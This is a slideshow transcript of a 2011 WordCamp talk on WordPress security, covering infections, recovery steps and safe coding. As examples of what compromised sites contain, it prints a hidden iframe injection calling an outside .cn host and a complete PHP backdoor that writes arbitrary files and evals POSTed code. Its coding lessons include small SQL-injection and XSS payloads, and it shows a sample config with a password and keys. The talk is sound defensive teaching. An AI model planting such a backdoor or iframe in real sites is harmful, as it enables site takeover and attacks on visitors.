WordPress Security: Be a Superhero - WordCamp Raleigh - May 2011
•
2 likes•31,186 views
The 'WordPress Security: Be a Superhero' presentation at WordCamp Raleigh May 2011.
Recommended
More Related Content
What's hot
What's hot (19)
Similar to WordPress Security: Be a Superhero - WordCamp Raleigh - May 2011
Similar to WordPress Security: Be a Superhero - WordCamp Raleigh - May 2011 (20)
Recently uploaded
Recently uploaded (20)
WordPress Security: Be a Superhero - WordCamp Raleigh - May 2011
- 1. Security: Be a Superhero http://johnford.is/ @iamjohnford
- 6. Why are superheroes needed?
- 8. Ninjas?
- 13. S.A.C.s
- 18. <iframe src='http://bl4ckst4r.cn/blog/go.php? sid=17' width='0' height='0'></iframe>
- 20. <?php $delim = " "; echo $delim; error_reporting(E_ALL); if(!empty($_POST['data'])) { $post['data'] = $_POST['data']; if(!empty($_POST['url'])) { $tmp = base64_decode ($_POST['url']); $urls_array = unserialize($tmp); $url = array_shift($urls_array); if(!empty($urls_array) AND count($urls_array)>0) { $tmp = serialize($urls_array); $post['url'] = base64_encode($tmp); } $tmp = parse_url($url); if($tmp['scheme'] =="ftp") { echo "trying to update file[ ".$tmp['path']." ] via FTPn"; $file = 'tmp.php'; $content = unserialize(base64_decode($post['data'])); $content = base64_decode($content['content']); $fp = fopen($file, 'w'); fwrite($fp, $content); fclose($fp); chmod($file, 0777); $fp = fopen($file,'r'); $post = false; } else { echo "Sending request to: $url n"; $fp = false; } $content = request($url, $post, $fp); if($tmp['scheme']=="ftp") { fclose($fp); unlink ($file); } if($tmp['scheme']=="ftp" AND $content!==false) echo "FTP: UPDATEDn"; else echo $delim.$content; } else { $tmp = base64_decode($post['data']); $data = unserialize($tmp); if(empty($data) OR !is_array($data)) { exit("Some error while saving;"); } foreach ($data AS $d) { if(dirname($d['n'])!='.' and !file_exists (dirname($d['n']))) { mkdir(dirname($d['n']), 0777); chmod(dirname($d['n']), 0777); } if($d['n']=='ev') { eval($d['c']); continue; } $f = fopen($d['n'], 'w'); $bytes_written = fwrite($f, $d['c']); fclose($f); if(filesize($d['n'])>10) { echo "file:".$d['n'].": savedn"; } else { echo "some error happens: ".$d['n']." size is: ".filesize($d['n'])." bytesn"; } if(!@chmod($d['n'], 0777)) { echo "some error with: ".$d['n']."n"; } } } } else { die("NO DATA"); } function request ($url, $post=false, $fp=false, $timeout=150){ $ch = curl_init(); if($post) { $post = is_array($post)?http_build_query($post):$post; curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } if($fp) { curl_setopt($ch, CURLOPT_UPLOAD, 1); curl_setopt($ch, CURLOPT_INFILE, $fp); fclose($fp); } curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec($ch); $error = curl_error($ch); if($error) { echo "CURL_ERROR: ".$error."n"; return false; }
- 24. /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
- 31. I saw John Ford speak at WordCamp Raleigh 2011 IsJFs@WCR2k11
- 32. I saw the awesome, loving, generous, compassionate, handsome, courteous, thoughtful, modest John Ford speak at WordCamp Raleigh 2011 IstalgchctmJFs@WCR2k11
- 35. Keep Themes & Plugins Updated
- 42. // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wordcamp'); /** MySQL database username */ define('DB_USER', 'wordcamp'); /** MySQL database password */ define('DB_PASSWORD', '3^?wb6mhqsiyk^ABHR6y'); /** MySQL hostname */ define('DB_HOST', 'mysql.myserver.com'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', '');
- 44. /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define('AUTH_KEY', '2FO}Z*-a#4E9Ft5$kBzZ_kk|Z3@zR+fRV`{$axu|r}(dE-Akbziu #-BLmd%qV-y'); define('SECURE_AUTH_KEY', '*E~-xU9xLhB[iv|8fUi7[{?=KS;E 0Cq#!NP, &]/oQwc1EkkR4A(c:x76f/w]Q)'); define('LOGGED_IN_KEY', '&psh-W)gE_~qK$kL{qT~2(XPyT<FAc}!=&{(SL!.?y9ObiYgNmdqohdH<t5/KO4='); define('NONCE_KEY', 'x&Im0c}brod3Cl%;jWJub<liaf:rFV#67F-E*o&$r90I/LSLP8Nz`Gb!R*H:J;4}'); define('AUTH_SALT', 'eO7i!tPIz[@dq.[mY`5zPu4x_b`K^6NTPK:%JwZdGCoo||)O}6aZ7>Y jb84mlxi'); define('SECURE_AUTH_SALT', '/a60,@Uf]/S$xHHQ]Dq/xB:zx^#%0<w#vPv|9go@y#c|*PW# bKE]|S&#-JJ}F65'); define('LOGGED_IN_SALT', 'IEP|]D`QVwDSg*t|[V>Jy]I^H~Q rfou+^wkV?FDbBO%fpg-(WH~v]7!_3M|&m(-'); define('NONCE_SALT', 'hnrbdh|-~=%>qC7Cbl33$=J~!F}SS*(*Fkl,uh8=7+u(b45|WtKe%S32r]3X~k/W');
- 51. Maybe be Obscure
- 55. Multiple sites on the same server
- 56. What if you need to come to the rescue?
- 57. Contact the web host
- 58. Back up the exploited site
- 59. Change all passwords and keys
- 60. // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'wordcamp'); /** MySQL database username */ define('DB_USER', 'wordcamp'); /** MySQL database password */ define('DB_PASSWORD', '3^?wb6mhqsiyk^ABHR6y'); /** MySQL hostname */ define('DB_HOST', 'mysql.myserver.com'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', '');
- 61. /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define('AUTH_KEY', '2FO}Z*-a#4E9Ft5$kBzZ_kk|Z3@zR+fRV`{$axu|r}(dE-Akbziu #-BLmd%qV-y'); define('SECURE_AUTH_KEY', '*E~-xU9xLhB[iv|8fUi7[{?=KS;E 0Cq#!NP, &]/oQwc1EkkR4A(c:x76f/w]Q)'); define('LOGGED_IN_KEY', '&psh-W)gE_~qK$kL{qT~2(XPyT<FAc}!=&{(SL!.?y9ObiYgNmdqohdH<t5/KO4='); define('NONCE_KEY', 'x&Im0c}brod3Cl%;jWJub<liaf:rFV#67F-E*o&$r90I/LSLP8Nz`Gb!R*H:J;4}'); define('AUTH_SALT', 'eO7i!tPIz[@dq.[mY`5zPu4x_b`K^6NTPK:%JwZdGCoo||)O}6aZ7>Y jb84mlxi'); define('SECURE_AUTH_SALT', '/a60,@Uf]/S$xHHQ]Dq/xB:zx^#%0<w#vPv|9go@y#c|*PW# bKE]|S&#-JJ}F65'); define('LOGGED_IN_SALT', 'IEP|]D`QVwDSg*t|[V>Jy]I^H~Q rfou+^wkV?FDbBO%fpg-(WH~v]7!_3M|&m(-'); define('NONCE_SALT', 'hnrbdh|-~=%>qC7Cbl33$=J~!F}SS*(*Fkl,uh8=7+u(b45|WtKe%S32r]3X~k/W');
- 66. machine:www user$ svn status ? wp-config.php ? .htaccess X index.php ? wp-content/cache X wp-content/plugins/akismet M wp-content/themes/twentyten/404.php ? wp-admin/meta Performing status on external item at 'wp-content/plugins/akismet'
- 67. machine:www user$ svn diff wp-content/themes/twentyten/404.php Index: wp-content/themes/twentyten/404.php =================================================================== --- wp-content/themes/twentyten/404.php (revision 15819) +++ wp-content/themes/twentyten/404.php (working copy) @@ -1,3 +1,5 @@ +<?php echo "<h1>Here's some code that really shouldn't be here</h1>"; ?> + <?php /** * The template for displaying 404 pages (Not Found).
- 70. YOU HAZ BACKUP, RIGHT? http://flic.kr/p/DC3Q
- 72. SQL Injection
- 73. $wpdb->query( "UPDATE $wpdb->posts SET post_title = '$new_title' WHERE ID = $id" ); BAD
- 74. $new_title = "SACed' -- "; $wpdb->query( "UPDATE $wpdb->posts SET post_title = '$new_title' WHERE ID = $id" ); BAD
- 75. $new_title = "SACed' -- "; $wpdb->query( "UPDATE $wpdb->posts SET post_title = 'SACed' -- '$new_title' WHERE ID = $id" ); BAD
- 76. $wpdb->update() GOOD
- 77. $wpdb->update( $wpdb->posts, array( 'post_title' => $new_title ), array( 'ID' => $id ) ); GOOD
- 78. $wpdb->insert( $table, $data ); GOOD
- 79. $wpdb->prepare() GOOD
- 80. $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_name = %s OR ID = %d", $some_name, $some_id ); GOOD
- 84. <h1> <?php echo $title; ?> </h1> BAD
- 85. $title = '<script>jsCode();</script>'; <h1> <?php echo $title; ?> </h1> BAD
- 86. <h1> <?php echo esc_html( $title ); ?> </h1> GOOD
- 87. <a href="#wordcamp" title="<?php echo $title; ?>"> Link Text </a> BAD
- 88. <?php $title = '" onmouseover="jsCode();'; ?> <a href="#wordcamp" title="<?php echo $title; ?>"> Link Text </a> BAD
- 89. <a href="#wordcamp" title="<?php echo esc_attr( $title ); ?>"> Link Text </a> GOOD
- 90. esc_textarea() GOOD
- 91. <a href="<?php echo $url; ?>"> Link Text </a> BAD
- 92. <?php $url = 'javascript:jsCode();'; ?> <a href="<?php echo $url; ?>"> Link Text </a> BAD
- 93. <a href="<?php echo esc_url( $url ); ?>"> Link Text </a> GOOD
- 94. <script> var foo = '<?php echo $unsafe; ?>'; </script> BAD
- 95. <script> var foo = '<?php echo esc_js( $unsafe ); ?>'; </script> GOOD
- 96. wp_filter_kses( $data ) GOOD
- 100. Nonces action-, object-, & user-specific time-limited secret keys
- 101. wp_nonce_field( 'plugin-action_object' ) GOOD
- 104. current_user_can( 'edit_posts' ) GOOD
- 108. Thank you! http://johnford.is/ @iamjohnford